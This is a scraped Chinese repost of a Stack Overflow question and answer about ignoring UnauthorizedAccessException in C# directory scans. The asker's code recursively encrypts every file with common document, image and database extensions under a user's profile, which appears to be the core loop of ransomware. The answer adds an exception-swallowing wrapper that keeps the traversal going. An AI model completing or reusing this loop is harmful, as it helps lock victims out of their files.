gpt4 book ai didi

c# - 忽略 "Unauthorized Access" "function Directory.GetDirectories()"

转载 作者:太空宇宙 更新时间:2023-11-03 15:04:48 26 4
gpt4 key购买 nike

当我扫描 C:\\users\\<SomeUserName>\\* 中的目录时在某些目录中我没有访问权限我搜索了很多如何忽略“未经授权的访问”现在我需要帮助:/

这是我的代码:

public void encryptDirectory(string location, string password)
{
//extensions to be encrypt
var validExtensions = new[]
{
".txt", ".doc", ".docx", ".xls", ".xlsx", ".ppt", ".pptx", ".odt", ".jpg", ".png", ".csv", ".sql", ".mdb", ".sln", ".php", ".asp", ".aspx", ".html", ".xml", ".psd"
};
string[] files = Directory.GetFiles(location);
string[] childDirectories = Directory.GetDirectories(location);
for (int i = 0; i < files.Length; i++)
{
string extension = Path.GetExtension(files[i]);
if (validExtensions.Contains(extension))
{
EncryptFile(files[i], password);
}
}
for (int i = 0; i < childDirectories.Length; i++)
{
encryptDirectory(childDirectories[i], password);
}
}

最佳答案

如果您想忽略特定方法抛出的异常,请编写您自己的包装器,捕获您希望捕获的异常,并返回一些有用的默认值:

private static string[] GetFilesSafe(string location) {
try {
return Directory.GetFiles(location);
} catch (UnauthorizedAccessException ex) {
Console.Error.WriteLine(ex.Message);
return new string[0];
}
}

Directory.GetDirectories 编写一个类似的包装器,并将直接调用替换为对包装器的调用。这将隐藏访问问题。

关于c# - 忽略 "Unauthorized Access" "function Directory.GetDirectories()",我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/44199931/

26 4 0
Copyright 2021 - 2024 cfsdn All Rights Reserved 蜀ICP备2022000587号
广告合作:1813099741@qq.com 6ren.com